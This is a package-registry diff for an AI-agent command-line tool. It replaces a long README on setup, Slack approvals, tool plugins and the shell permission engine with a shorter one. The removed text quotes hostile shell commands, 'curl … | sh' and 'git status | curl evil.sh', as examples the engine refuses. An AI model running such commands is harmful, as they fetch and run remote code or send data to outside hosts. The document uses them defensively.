@stratusagent/cli 0.9.1 → 0.10.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +78 -990
- package/dist/bin.js +4 -1
- package/dist/bin.js.map +1 -1
- package/dist/index.d.ts +58 -3
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +288 -63
- package/dist/index.js.map +1 -1
- package/package.json +22 -21
package/README.md
CHANGED
|
@@ -1,13 +1,16 @@
|
|
|
1
1
|
# @stratusagent/cli
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
**Always-on agents that get smarter over time.** Set up Stratus Agent on
|
|
4
|
+
your machine, create agents with real identities, connect AI providers, and
|
|
5
|
+
put them in Slack — from one command.
|
|
4
6
|
|
|
5
|
-
|
|
7
|
+
<!-- Pinned to the commit that added the asset so it renders on any ref
|
|
8
|
+
(including this branch pre-merge) and on npm, which needs an absolute
|
|
9
|
+
URL. Replacing the banner means updating this pin. -->
|
|
10
|
+

|
|
6
11
|
|
|
7
12
|
## Install
|
|
8
13
|
|
|
9
|
-
Needs **Node.js 22.13+** — the gateway's session store uses `node:sqlite`, which runs unflagged from 22.13. On the 23.x line that landed separately, in **23.4**, so 23.0–23.3 are too old despite the higher number. Every package declares the range, and the CLI checks it at startup, so an unsupported Node gets a line naming what it needs rather than a missing-builtin error later on.
|
|
10
|
-
|
|
11
14
|
```bash
|
|
12
15
|
npm install -g @stratusagent/cli
|
|
13
16
|
stratus setup
|
|
@@ -15,1020 +18,105 @@ stratus setup
|
|
|
15
18
|
|
|
16
19
|
That one package is everything you need to run agents: the runtime, the
|
|
17
20
|
providers, the agent roster, and the always-on gateway all come with it.
|
|
21
|
+
Needs **Node.js 22.13+** (23.x line: 23.4+) — the CLI checks at startup and
|
|
22
|
+
says so plainly if yours is too old. Details:
|
|
23
|
+
[Installation](https://github.com/stratuslabs/agent/blob/main/docs/start/installation.md).
|
|
18
24
|
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
npm install -g @stratusagent/channel-slack
|
|
27
|
-
```
|
|
28
|
-
|
|
29
|
-
You rarely have to type that. Connect an agent in `stratus setup` → **Channels**
|
|
30
|
-
and **Save & finish** offers the install, because storing tokens is already the
|
|
31
|
-
decision to use Slack — see [What Save & finish offers](#what-save--finish-offers).
|
|
32
|
-
|
|
33
|
-
If tokens are stored for an agent but the package isn't installed, `stratus
|
|
34
|
-
serve` says so and starts anyway, serving every other channel.
|
|
35
|
-
|
|
36
|
-
### Optional tool plugins
|
|
37
|
-
|
|
38
|
-
Capability is optional in the same way, and gated more tightly. A plugin runs
|
|
39
|
-
inside the daemon's process, so **installing one does not run it** — it runs
|
|
40
|
-
when a trusted config lists and enables it, and then only for the agents whose
|
|
41
|
-
souls name its tools:
|
|
42
|
-
|
|
43
|
-
```bash
|
|
44
|
-
npm install -g @stratusagent/tool-fs @stratusagent/tool-web
|
|
45
|
-
```
|
|
46
|
-
|
|
47
|
-
See [Tools](#tools-what-an-agent-can-actually-do) for the config block and what
|
|
48
|
-
each pack does.
|
|
49
|
-
|
|
50
|
-
### Optional control API and dashboard
|
|
51
|
-
|
|
52
|
-
Same idea, and the same reason: installing it is how you say you want a port
|
|
53
|
-
open. With it present, `stratus serve` also serves an authenticated HTTP +
|
|
54
|
-
WebSocket API on `127.0.0.1:4123`.
|
|
55
|
-
|
|
56
|
-
```bash
|
|
57
|
-
npm install -g @stratusagent/control-api @stratusagent/dashboard
|
|
58
|
-
```
|
|
59
|
-
|
|
60
|
-
Two packages, because the API has three consumers and only one of them is a
|
|
61
|
-
web page — the macOS app and a headless VM want the API without a UI. Install
|
|
62
|
-
`@stratusagent/control-api` alone for those; add `@stratusagent/dashboard` and
|
|
63
|
-
the API serves the web UI at `/` as well.
|
|
64
|
-
|
|
65
|
-
That API is what every non-terminal surface talks to — the web dashboard and
|
|
66
|
-
the macOS app alike. Its full reference (endpoints, auth, the event envelope)
|
|
67
|
-
lives in [its own README](https://github.com/stratuslabs/agent/tree/main/packages/control-api).
|
|
68
|
-
|
|
69
|
-
Two files appear while it is serving, both `0600`:
|
|
70
|
-
|
|
71
|
-
| File | What |
|
|
72
|
-
| --- | --- |
|
|
73
|
-
| `~/.stratus/gateway-token` | The bearer token clients authenticate with |
|
|
74
|
-
| `~/.stratus/gateway.json` | Where the daemon is reachable — url, host, port, pid — removed on a clean stop |
|
|
75
|
-
|
|
76
|
-
Turn it off with `stratus serve --no-api`, or in `~/.stratus/config.json`:
|
|
77
|
-
|
|
78
|
-
```jsonc
|
|
79
|
-
{
|
|
80
|
-
"api": {
|
|
81
|
-
"enabled": true,
|
|
82
|
-
"host": "127.0.0.1",
|
|
83
|
-
"port": 4123
|
|
84
|
-
}
|
|
85
|
-
}
|
|
86
|
-
```
|
|
87
|
-
|
|
88
|
-
Like `approvals`, this block is read **only** from a config you chose
|
|
89
|
-
yourself — the global `~/.stratus/config.json` or one passed with `--config`.
|
|
90
|
-
An auto-discovered project-local `stratus.config.json` ships in any
|
|
91
|
-
repository, and which interface a daemon binds is not a decision a cloned repo
|
|
92
|
-
gets to make; one that tries is ignored, loudly.
|
|
93
|
-
|
|
94
|
-
Localhost is the posture. To reach a machine at home, put it behind a tunnel
|
|
95
|
-
(Tailscale is the pattern we recommend) rather than binding a public
|
|
96
|
-
interface.
|
|
97
|
-
|
|
98
|
-
### The dashboard
|
|
99
|
-
|
|
100
|
-
```bash
|
|
101
|
-
stratus dashboard
|
|
102
|
-
```
|
|
103
|
-
|
|
104
|
-
It finds a running daemon through `~/.stratus/gateway.json`, or starts one in
|
|
105
|
-
the foreground when there is none (and says which it did). Then it mints a
|
|
106
|
-
**single-use, short-lived sign-in link** and opens your browser at it — the
|
|
107
|
-
one thing a browser cannot do for itself, since page JavaScript cannot read
|
|
108
|
-
`~/.stratus/gateway-token` and a WebSocket upgrade cannot carry a header.
|
|
109
|
-
|
|
110
|
-
The link works once. Run the command again for another. A daemon restart signs
|
|
111
|
-
the browser out too, because its sessions live in memory.
|
|
112
|
-
|
|
113
|
-
### Talking to a daemon from another machine
|
|
114
|
-
|
|
115
|
-
`stratus agents --gateway <url>` reads the roster from a running daemon
|
|
116
|
-
instead of resolving it locally — the same listing, answered by the API:
|
|
117
|
-
|
|
118
|
-
```bash
|
|
119
|
-
stratus agents --gateway http://127.0.0.1:4123
|
|
120
|
-
```
|
|
121
|
-
|
|
122
|
-
Locally that needs nothing else: the token comes from
|
|
123
|
-
`~/.stratus/gateway-token`. A daemon reached through a tunnel has its own
|
|
124
|
-
token, so pass it with `--token` or `STRATUS_GATEWAY_TOKEN`.
|
|
125
|
-
|
|
126
|
-
## Setup
|
|
127
|
-
|
|
128
|
-
`stratus setup` is the whole onboarding, as a small navigable menu:
|
|
129
|
-
|
|
130
|
-
```
|
|
131
|
-
1) Providers anthropic — signed in with your Claude subscription
|
|
132
|
-
2) Models default claude-opus-5 · fallback gpt-4.1-mini
|
|
133
|
-
3) Agent ~/.stratus/agents/ava.md
|
|
134
|
-
4) Channels Slack: 1 agent connected
|
|
135
|
-
5) Always on stratusd runs after setup, and at every login
|
|
136
|
-
6) Test run say hello with the current settings
|
|
137
|
-
7) Save & finish
|
|
138
|
-
```
|
|
139
|
-
|
|
140
|
-
- **Providers** — sign in to one or more. For Claude, choose how you pay: a **Claude Pro/Max subscription** (run `claude setup-token`, paste the token — runs route through the Claude Code runtime, so your plan covers usage; requires Claude Code installed and signed in. Tool runs and memory work there too, so it's the same agent as on an API key) or an **Anthropic API key**, pasted straight into the prompt (input is hidden) and checked against the live API when the endpoint supports it — a rejected key is refused; an unreachable endpoint saves the key and verifies it on your first run. OpenAI-compatible services work like API keys, including local models and proxies via a custom base URL.
|
|
141
|
-
- **Models** — pick a **default** and a **fallback**, listed live from the provider APIs where possible (subscription sign-ins and offline setups fall back to the known Claude lineup). If the default model errors mid-run, the run automatically retries on the fallback — even across providers.
|
|
142
|
-
- **Menus are keyboard-driven** — arrow keys (or `j`/`k`) to move, Enter to pick, digits to jump, Esc to go back.
|
|
143
|
-
- **Agent** — name your agent (or accept a generated identity), describe their personality, and their soul file lands in `~/.stratus/agents/`, ready to edit.
|
|
144
|
-
- **Channels** — put an agent on Slack without opening a file. Pick the agent, and setup prints the app manifest with their name already filled in, walks you through the two tokens (input hidden), verifies each against Slack before accepting it, and stores them where `stratus serve` looks. The list marks who is connected; picking a connected agent offers to replace their tokens or disconnect.
|
|
145
|
-
- **Always on** — whether the roster keeps answering once you close the terminal. On by default, because an agent you have to remember to start is not always-on, and every Slack app you connected above stays silent until `stratusd` runs. Save & finish installs it (see [Always on](#always-on)); choose *do not run it for me* and setup removes any service it previously installed.
|
|
146
|
-
- **Test run** — say hello with the current settings before saving anything.
|
|
147
|
-
- **Save & finish** — writes everything, offers any optional package your
|
|
148
|
-
choices imply, then installs the always-on service.
|
|
149
|
-
|
|
150
|
-
### What Save & finish offers
|
|
151
|
-
|
|
152
|
-
The CLI ships no transport and no open port, so a fresh machine finishes setup
|
|
153
|
-
missing the packages its own answers just asked for. Setup knows that before
|
|
154
|
-
the daemon does — it stored the Slack tokens itself — so **Save & finish** names
|
|
155
|
-
what is missing and offers to install it:
|
|
156
|
-
|
|
157
|
-
```text
|
|
158
|
-
2 optional packages are not installed:
|
|
159
|
-
@stratusagent/channel-slack
|
|
160
|
-
Slack tokens are stored for 1 agent(s), but nothing connects to Slack without it.
|
|
161
|
-
@stratusagent/control-api @stratusagent/dashboard
|
|
162
|
-
`stratus dashboard` needs it, and it opens an authenticated port on 127.0.0.1.
|
|
163
|
-
|
|
164
|
-
Install now with npm install -g?
|
|
165
|
-
> Install all of them now
|
|
166
|
-
Install the Slack channel only
|
|
167
|
-
Install the Web dashboard only
|
|
168
|
-
Skip
|
|
169
|
-
```
|
|
170
|
-
|
|
171
|
-
Three things about it worth knowing:
|
|
172
|
-
|
|
173
|
-
- **It asks, and anything left uninstalled prints its command** — whether you
|
|
174
|
-
skipped the offer entirely or took only one of the two, since choosing one
|
|
175
|
-
group is not a decision about the other. The control API binds a port, and
|
|
176
|
-
installing it is how an operator says they want one open, so this stays a
|
|
177
|
-
question rather than a default.
|
|
178
|
-
- **It runs before the service install**, so the LaunchAgent comes up with
|
|
179
|
-
those packages already present. A package installed *after* a daemon starts
|
|
180
|
-
is invisible to it; that ordering is the whole reason the offer lives here
|
|
181
|
-
rather than in a closing hint.
|
|
182
|
-
- **A failed install never fails setup.** Your config and credentials are
|
|
183
|
-
already written; you get npm's exit code and the command to run yourself.
|
|
184
|
-
|
|
185
|
-
Setup only suggests `stratus dashboard` at the end when it can actually work —
|
|
186
|
-
a machine that skipped or failed that install is not told to run a command that
|
|
187
|
-
would exit with an error.
|
|
188
|
-
|
|
189
|
-
Credentials are stored in `~/.stratus/credentials.json` (owner-read-only) and settings in `~/.stratus/config.json`, so `stratus run` works from any directory afterwards. No env vars to export, no config files to hand-edit.
|
|
25
|
+
`stratus setup` is the whole onboarding, as one small menu: sign in (Claude
|
|
26
|
+
Pro/Max subscription or API key, ChatGPT/Codex, or any OpenAI-compatible
|
|
27
|
+
service), pick default and fallback models, create your first agent,
|
|
28
|
+
connect Slack, and
|
|
29
|
+
install the always-on service — no config files to edit, no env vars to
|
|
30
|
+
export. Walkthrough:
|
|
31
|
+
[Setup](https://github.com/stratuslabs/agent/blob/main/docs/start/setup.md).
|
|
190
32
|
|
|
191
|
-
##
|
|
33
|
+
## Commands
|
|
192
34
|
|
|
193
35
|
```bash
|
|
194
36
|
stratus setup # onboarding menu: providers, models, agent, channels
|
|
195
37
|
stratus chat # talk — the conversation persists
|
|
196
|
-
stratus
|
|
197
|
-
stratus run "say hello"
|
|
198
|
-
stratus run --soul ./ava.md "introduce yourself"
|
|
199
|
-
stratus run --provider anthropic --model claude-opus-5 "hello"
|
|
200
|
-
stratus run --prompt "use the echo tool" --format json
|
|
38
|
+
stratus run "say hello" # one-shot run (works offline on the demo provider)
|
|
201
39
|
stratus serve # stratusd: the whole roster, always on
|
|
202
|
-
stratus serve --idle-timeout 120 --no-events
|
|
203
40
|
stratus serve --approvals remote # ask a human in Slack instead of refusing
|
|
204
41
|
stratus service install # keep stratusd running under launchd/systemd
|
|
205
|
-
stratus service status
|
|
206
42
|
stratus logs -f # what the daemon has been doing
|
|
207
|
-
stratus logs --agent ava -n 200
|
|
208
43
|
stratus doctor # what a run would use right now, and why
|
|
209
|
-
stratus update #
|
|
210
|
-
stratus update --check # report what an update would do, do nothing
|
|
44
|
+
stratus update # stop → upgrade → migrate → repair unit → restart
|
|
211
45
|
stratus agent new # create an agent (guided on a terminal)
|
|
212
|
-
stratus agent new --format soul > ava.md
|
|
213
46
|
stratus agents # who's on the team: souls, models, memory
|
|
47
|
+
stratus skill add owner/repo # install skills from GitHub
|
|
214
48
|
stratus schedules # what the fleet has scheduled, and where it reports
|
|
215
|
-
stratus
|
|
216
|
-
stratus dashboard # local browser dashboard
|
|
217
|
-
```
|
|
218
|
-
|
|
219
|
-
`stratus serve` runs the gateway in the foreground: every agent in your roster
|
|
220
|
-
live at once on its own provider and model, sessions in SQLite so they survive
|
|
221
|
-
restarts, delegation between agents, a watchdog for stalled turns, and any
|
|
222
|
-
installed channels connected. Ctrl+C or SIGTERM drains cleanly.
|
|
223
|
-
|
|
224
|
-
### What the daemon will do on its own
|
|
225
|
-
|
|
226
|
-
Tools declare how much damage they could do — `safe`, `gated`, or
|
|
227
|
-
`dangerous` — and the daemon runs only the safe ones without asking. Anything
|
|
228
|
-
riskier is refused, with a line in the log saying which agent wanted what:
|
|
229
|
-
|
|
230
|
-
```text
|
|
231
|
-
09:14:36 — warning: ava: shell.run is gated and nobody is available to approve it (session slack:ava:…)
|
|
232
|
-
```
|
|
233
|
-
|
|
234
|
-
That is the honest default behind a service manager, where there is no
|
|
235
|
-
terminal to prompt on. If somebody *is* reachable, `--approvals remote` asks
|
|
236
|
-
them instead — see [Asking a human](#asking-a-human-remote-approval).
|
|
237
|
-
|
|
238
|
-
A tool that declares no risk counts as `gated`, never `safe` — forgetting to
|
|
239
|
-
classify something should cost a prompt, not an unattended command. Most
|
|
240
|
-
built-in tools (`demo.echo`, `memory.remember`, `memory.recall`,
|
|
241
|
-
`memory.forget`, `agent.delegate`, `schedule.list`, `schedule.cancel`) are
|
|
242
|
-
`safe`; the built-in exceptions are `schedule.every`, `schedule.at`, and
|
|
243
|
-
`message.send`, which are `gated` because they act past the end of the turn —
|
|
244
|
-
see [Proactive agents](#proactive-schedules-and-outbound-messages). Anything
|
|
245
|
-
you install is where this starts to bite, which is what the
|
|
246
|
-
[Tools](#tools-what-an-agent-can-actually-do) section below is about.
|
|
247
|
-
|
|
248
|
-
A **shell** is the exception to the whole paragraph, because its risk is in
|
|
249
|
-
its argument rather than in its identity. `shell.run` is `gated`, and the
|
|
250
|
-
permission engine then judges each command: a safe scope (`git status`,
|
|
251
|
-
`git log`) runs unattended, everything else asks, and a control operator
|
|
252
|
-
anywhere in the string disqualifies it however innocent the base command is.
|
|
253
|
-
See [Which commands run unattended](#which-commands-run-unattended).
|
|
254
|
-
|
|
255
|
-
The line is *acting outside Stratus* — the filesystem, the network, another
|
|
256
|
-
service — not cost. Every turn spends provider tokens, including the one
|
|
257
|
-
that decided to call a tool, so a policy that gated on spend would have to
|
|
258
|
-
gate the conversation itself. Delegation stays `safe` for the same reason:
|
|
259
|
-
it hands work to a teammate inside the fleet, that teammate's own tool
|
|
260
|
-
calls face this policy again under their allowlist, and the chain is depth
|
|
261
|
-
bounded.
|
|
262
|
-
|
|
263
|
-
`stratus chat` and `stratus run` are unaffected: at a terminal, `--approvals`
|
|
264
|
-
works exactly as before (`always`, `ask`, `never`).
|
|
265
|
-
|
|
266
|
-
### Asking a human: remote approval
|
|
267
|
-
|
|
268
|
-
In `remote` mode a gated call does not fail — the turn parks, the request is
|
|
269
|
-
posted to Slack with **Allow once**, **Always allow**, and **Deny**, and the
|
|
270
|
-
turn resumes on the answer. The question goes to the thread the turn is
|
|
271
|
-
happening in, so whoever is talking to the agent sees it where they already
|
|
272
|
-
are.
|
|
273
|
-
|
|
274
|
-
Turn it on for the daemon with `--approvals remote`, or in
|
|
275
|
-
`~/.stratus/config.json` so the installed service picks it up too:
|
|
276
|
-
|
|
277
|
-
```jsonc
|
|
278
|
-
{
|
|
279
|
-
"approvals": {
|
|
280
|
-
"mode": "remote", // headless (default) or remote
|
|
281
|
-
"timeoutMs": 900000, // unanswered after 15 minutes → denied (max 2147483647)
|
|
282
|
-
"slackApprovers": ["U01OPS"], // who may decide, for every agent
|
|
283
|
-
"slackChannel": "C07OPS", // where to ask when the turn isn't in Slack
|
|
284
|
-
"agents": {
|
|
285
|
-
"ava": { "slackApprovers": ["U01DYLAN"] }
|
|
286
|
-
}
|
|
287
|
-
}
|
|
288
|
-
}
|
|
289
|
-
```
|
|
290
|
-
|
|
291
|
-
An agent inherits the top-level route key by key, so `ava` above asks her own
|
|
292
|
-
approver in the shared `C07OPS` fallback channel. An explicit
|
|
293
|
-
`"slackApprovers": []` on an agent excludes it from the default list — that
|
|
294
|
-
agent's gated calls are then denied outright — while omitting the key
|
|
295
|
-
inherits.
|
|
296
|
-
|
|
297
|
-
**Only a config you chose is allowed to set this block** — `--config`,
|
|
298
|
-
`STRATUS_CONFIG`, or the global `~/.stratus/config.json`. An auto-discovered
|
|
299
|
-
project-local `stratus.config.json` outranks the global one for provider
|
|
300
|
-
settings, but it can be checked into any repository, and appointing the
|
|
301
|
-
people who may authorize an agent's tool calls is not something a clone gets
|
|
302
|
-
to do. Its `approvals` block is ignored, with a warning naming the file.
|
|
303
|
-
|
|
304
|
-
Three things are worth knowing before you turn it on:
|
|
305
|
-
|
|
306
|
-
- **Approvers are people, not places.** Posting into a channel does not make
|
|
307
|
-
everyone in it an approver: each request is bound to the ids configured for
|
|
308
|
-
that agent, and anyone else's click is refused with a notice only they see.
|
|
309
|
-
The request stays open for someone who may actually answer it. This matters
|
|
310
|
-
most for **Always allow**, which widens what the agent may do unattended.
|
|
311
|
-
- **An agent with no approver configured is denied immediately**, not left to
|
|
312
|
-
time out — `remote` with nobody listed behaves exactly like `headless`. If
|
|
313
|
-
no channel can ask for an agent at all (no Slack tokens for it, or
|
|
314
|
-
`@stratusagent/channel-slack` not installed) there is nothing to render the
|
|
315
|
-
request, so its gated calls wait out the timeout instead. The daemon names
|
|
316
|
-
those agents at startup, rather than leaving you to find out at 3am:
|
|
317
|
-
|
|
318
|
-
```text
|
|
319
|
-
approvals: remote — gated calls are parked and asked in Slack (approvers set for ava)
|
|
320
|
-
```
|
|
321
|
-
- **A parked turn survives a restart.** The daemon records what has not run
|
|
322
|
-
before it asks, so an approval outstanding when it stops is finished when
|
|
323
|
-
it starts again — the question is re-asked in Slack, the call runs on the
|
|
324
|
-
answer, and anything queued behind it still runs too. The re-asked request
|
|
325
|
-
keeps the window it started with rather than getting a fresh one, and a
|
|
326
|
-
wait that has already used up its `timeoutMs` is denied instead of
|
|
327
|
-
re-asked: downtime is not a reason to extend a security decision.
|
|
328
|
-
- **A turn that was mid-flight is failed, not left hanging.** Parking is the
|
|
329
|
-
one state a restart can resume from — a turn that stopped anywhere else
|
|
330
|
-
(waiting on the provider, inside a tool, or on an approval asked by an
|
|
331
|
-
agent billed through a Claude subscription, which is deliberately not
|
|
332
|
-
checkpointed) cannot be. Those sessions come back marked `failed`, with a
|
|
333
|
-
reason saying stratusd stopped while they were running and to send the
|
|
334
|
-
message again, rather than claiming to still be running forever. This is
|
|
335
|
-
only for an ungraceful stop: a normal restart denies what is parked and
|
|
336
|
-
finishes the turns those denials release before it exits. The thread hears
|
|
337
|
-
about it too: a turn that fails with nobody rendering it is reported where
|
|
338
|
-
it was asked, rather than going quiet and reading as an agent that never
|
|
339
|
-
replied.
|
|
340
|
-
- **A button left behind by a dead daemon corrects itself when clicked.** A
|
|
341
|
-
normal shutdown retracts its buttons; a crash cannot, and the new process
|
|
342
|
-
has no record of what the old one posted. Clicking such a prompt tells you
|
|
343
|
-
it is no longer pending *and* rewrites the message so the next reader is
|
|
344
|
-
not offered a decision nothing is waiting for. A prompt nobody clicks
|
|
345
|
-
stays as it is.
|
|
346
|
-
- **Always allow means different things for a tool and for a command.** For
|
|
347
|
-
an ordinary tool it lasts for the session: it stops that tool asking again
|
|
348
|
-
in the same conversation, and it is forgotten when the daemon restarts.
|
|
349
|
-
For a call that carries a command — `shell.run` — it persists a *scope*
|
|
350
|
-
instead, in `~/.stratus/agents/<id>.whitelist.json`, and that survives a
|
|
351
|
-
restart. See below for what a scope keeps out.
|
|
352
|
-
|
|
353
|
-
The request shows the tool's **arguments**, not just its name — for anything
|
|
354
|
-
whose danger lives in what it was called with, approving a bare tool name is
|
|
355
|
-
approving something you cannot see. Arguments are escaped (a model-written
|
|
356
|
-
argument cannot mention or broadcast to the workspace through the prompt)
|
|
357
|
-
and truncated with a visible notice when they are long.
|
|
358
|
-
|
|
359
|
-
Requests are also denied — visibly, with a reason — when they expire, when
|
|
360
|
-
the turn is cancelled, when the daemon shuts down, and when a turn reaches a
|
|
361
|
-
gated call while the daemon is already stopping. Every one of those retracts
|
|
362
|
-
the buttons in Slack, so a message never keeps offering a decision with
|
|
363
|
-
nowhere to land.
|
|
364
|
-
|
|
365
|
-
`timeoutMs` is capped at 2147483647 (~24.8 days), the longest timer Node can
|
|
366
|
-
hold. A larger value is rejected at startup rather than accepted: it would
|
|
367
|
-
not wait longer, it would expire every approval almost immediately.
|
|
368
|
-
|
|
369
|
-
Approval buttons need the Slack app's **Interactivity** switched on. Apps
|
|
370
|
-
created from the manifest that `stratus setup` prints already have it; an app
|
|
371
|
-
created before this shipped needs it enabled once, in its App Manifest.
|
|
372
|
-
|
|
373
|
-
## Tools: what an agent can actually do
|
|
374
|
-
|
|
375
|
-
Out of the box an agent can echo, remember, recall and forget its own
|
|
376
|
-
memories, and delegate. Everything else —
|
|
377
|
-
files, a shell, the web, a browser — arrives as a **plugin**: one package you
|
|
378
|
-
install, list, and enable.
|
|
379
|
-
|
|
380
|
-
```bash
|
|
381
|
-
npm install -g @stratusagent/tool-fs @stratusagent/tool-shell \
|
|
382
|
-
@stratusagent/tool-web @stratusagent/tool-browser
|
|
383
|
-
```
|
|
384
|
-
|
|
385
|
-
```jsonc
|
|
386
|
-
// ~/.stratus/config.json
|
|
387
|
-
{
|
|
388
|
-
"plugins": {
|
|
389
|
-
"@stratusagent/tool-fs": {
|
|
390
|
-
"enabled": true,
|
|
391
|
-
"roots": ["~/notes"],
|
|
392
|
-
"agents": {
|
|
393
|
-
"ava": { "roots": ["~/work/ava"] },
|
|
394
|
-
"juno": { "roots": ["~/work/juno", "~/shared"] }
|
|
395
|
-
}
|
|
396
|
-
},
|
|
397
|
-
"@stratusagent/tool-web": { "enabled": true },
|
|
398
|
-
"@stratusagent/tool-shell": { "enabled": true, "cwd": "~/work" }
|
|
399
|
-
}
|
|
400
|
-
}
|
|
401
|
-
```
|
|
402
|
-
|
|
403
|
-
Keyed by **package name**, because a plugin's identity is its package and one
|
|
404
|
-
may contribute more than tools. Per-agent settings go in an `agents` sub-block
|
|
405
|
-
over the defaults above them — the same shape `approvals` already uses, and it
|
|
406
|
-
matters more here: for `tool-fs` those values are an access boundary between
|
|
407
|
-
agents rather than a preference.
|
|
408
|
-
|
|
409
|
-
**Only a config you chose may list plugins** — `--config`, `STRATUS_CONFIG`, or
|
|
410
|
-
the global `~/.stratus/config.json`. A plugin runs in the daemon's own process,
|
|
411
|
-
so this list is a list of code, and an auto-discovered project-local
|
|
412
|
-
`stratus.config.json` ships with any repository you clone. Its `plugins` block
|
|
413
|
-
is ignored, with a warning naming the file, exactly as `api` and `approvals`
|
|
414
|
-
are.
|
|
415
|
-
|
|
416
|
-
`stratus run` and `stratus chat` load the same plugins from the same config, so
|
|
417
|
-
a tool that works locally works in the daemon, and one that is missing is
|
|
418
|
-
missing in both.
|
|
419
|
-
|
|
420
|
-
### Installing a plugin grants no agent anything
|
|
421
|
-
|
|
422
|
-
The soul's allowlist is the second gate, and the per-identity one:
|
|
423
|
-
|
|
424
|
-
```markdown
|
|
425
|
-
---
|
|
426
|
-
id: ava
|
|
427
|
-
tools: [fs.read, fs.search, web.fetch]
|
|
428
|
-
---
|
|
429
|
-
```
|
|
430
|
-
|
|
431
|
-
`fs.*` grants a whole toolset, so an agent given "the filesystem" does not need
|
|
432
|
-
editing every time the pack gains a tool. The prefix keeps its dot: `fs.*`
|
|
433
|
-
never matches `fsx.read`. Listing nothing grants every registered tool, which
|
|
434
|
-
is fine for a private agent and is not what you want once a shell is installed.
|
|
435
|
-
|
|
436
|
-
### What is available
|
|
437
|
-
|
|
438
|
-
| Package | Tools | Risk |
|
|
439
|
-
| --- | --- | --- |
|
|
440
|
-
| [`@stratusagent/tool-fs`](../tool-fs) | `fs.read`, `fs.list`, `fs.search` | `safe` inside the agent's roots |
|
|
441
|
-
| | `fs.write` | `gated` |
|
|
442
|
-
| [`@stratusagent/tool-shell`](../tool-shell) | `shell.run` | `gated`, then judged per command |
|
|
443
|
-
| [`@stratusagent/tool-web`](../tool-web) | `web.fetch` | `gated` |
|
|
444
|
-
| [`@stratusagent/tool-browser`](../tool-browser) | `browser.goto`, `.read`, `.screenshot` | `gated` |
|
|
445
|
-
| | `browser.act` | `dangerous` — always a human |
|
|
446
|
-
| [`@stratusagent/plugin-mcp`](../plugin-mcp) | `mcp.<server>.<tool>` — any MCP server's tools, discovered at connect | `gated`, whatever the server says; per-tool `toolRisks` overrides |
|
|
447
|
-
|
|
448
|
-
Each package's README carries its own settings and the reasoning behind its
|
|
449
|
-
risk levels. Three things are worth knowing here:
|
|
450
|
-
|
|
451
|
-
- **`tool-fs` roots are a boundary, not a preference.** No roots means no
|
|
452
|
-
filesystem — nothing is readable, rather than everything. Containment is
|
|
453
|
-
decided between real paths, so a symlink inside a root pointing at
|
|
454
|
-
`~/.stratus/credentials.json` is refused, and so is a write *through* a
|
|
455
|
-
symlinked directory.
|
|
456
|
-
- **`tool-shell` replaces the environment.** The command gets exactly what
|
|
457
|
-
you granted (`passEnv`, `env`) and nothing else — the daemon's own
|
|
458
|
-
environment, where `ANTHROPIC_API_KEY` lives, is not there to read.
|
|
459
|
-
- **`tool-web` and `tool-browser` refuse local addresses.** Both share one
|
|
460
|
-
policy: `http:`/`https:` only, and no loopback, RFC 1918, link-local
|
|
461
|
-
(`169.254.169.254`), or IPv6 unique-local — including the IPv4-mapped and
|
|
462
|
-
NAT64 spellings of the same addresses. It is enforced on the connection,
|
|
463
|
-
so a redirect or a DNS answer cannot walk an agent into your metadata
|
|
464
|
-
endpoint. `allowedHosts` opens a specific one when you mean to.
|
|
465
|
-
- **`plugin-mcp` mounts somebody else's code.** Each configured MCP server's
|
|
466
|
-
tools register as `mcp.<server>.<tool>`, so `tools: [mcp.linear.*]` grants
|
|
467
|
-
one server, and every bridged tool is `gated` regardless of how the
|
|
468
|
-
server describes itself — the operator's per-tool `toolRisks` entry is
|
|
469
|
-
the only thing that lowers one. A stdio server's environment is replaced
|
|
470
|
-
the way `tool-shell`'s is. See [the bridge's README](../plugin-mcp) for
|
|
471
|
-
server settings and lifecycle.
|
|
472
|
-
|
|
473
|
-
`GET /api/v1/catalog/tools` lists what a running daemon actually has, and the
|
|
474
|
-
dashboard's **Plugins** screen renders it — including a plugin you enabled that
|
|
475
|
-
failed to load, which is invisible in a list of tools.
|
|
476
|
-
|
|
477
|
-
### Which commands run unattended
|
|
478
|
-
|
|
479
|
-
`shell.run` is one tool whose calls range from `git status` to `curl … | sh`,
|
|
480
|
-
so a single risk level for all of them would be either too coarse to be safe or
|
|
481
|
-
too coarse to be usable. The permission engine judges the command instead:
|
|
482
|
-
|
|
483
|
-
1. **Scopes approved this session**, then
|
|
484
|
-
2. **the agent's whitelist** — `~/.stratus/agents/<id>.whitelist.json`, written
|
|
485
|
-
by **Always allow** — then
|
|
486
|
-
3. **the built-in safe list**: `git status`, `git log`, `git diff`, `git show`,
|
|
487
|
-
`git blame`, `git rev-parse`, `git ls-files`, plus `git branch`, `git tag`,
|
|
488
|
-
and `git remote` **in their listing forms only** — creating a branch or a
|
|
489
|
-
tag needs no flag at all (`git branch release` is a mutation), so those
|
|
490
|
-
scopes refuse any positional argument, not just the destructive flags.
|
|
491
|
-
`pwd`, `whoami`, and `uname` round it out.
|
|
492
|
-
|
|
493
|
-
Anything else asks, and in `headless` mode anything else is refused with the
|
|
494
|
-
command in the log.
|
|
495
|
-
|
|
496
|
-
**A control operator disqualifies the whole command**, whatever it starts
|
|
497
|
-
with: `|`, `&`, `;`, a newline, backticks, `$( )`, subshells, redirection.
|
|
498
|
-
`git status | curl evil.sh` is refused despite the safe base command; so is a
|
|
499
|
-
two-line command whose first line is innocent. A command this parser cannot
|
|
500
|
-
read the way `sh` would — an unbalanced quote, a path instead of a command
|
|
501
|
-
name — is refused too.
|
|
502
|
-
|
|
503
|
-
**Always allow persists a scope, not a command.** Approving
|
|
504
|
-
`git push origin main` stores `git push` minus its destructive forms, so
|
|
505
|
-
`git push origin feature` stops asking while these still ask:
|
|
506
|
-
|
|
507
|
-
```text
|
|
508
|
-
git push --force # a destructive flag
|
|
509
|
-
git push origin :main # a branch delete, with no flag involved
|
|
510
|
-
git push origin +main # a forced update, likewise
|
|
511
|
-
```
|
|
512
|
-
|
|
513
|
-
The whitelist file is `0600` and per agent: it decides what runs with nobody
|
|
514
|
-
watching, so neither another account on the machine nor another agent inherits
|
|
515
|
-
it. Delete an entry to withdraw the permission.
|
|
516
|
-
|
|
517
|
-
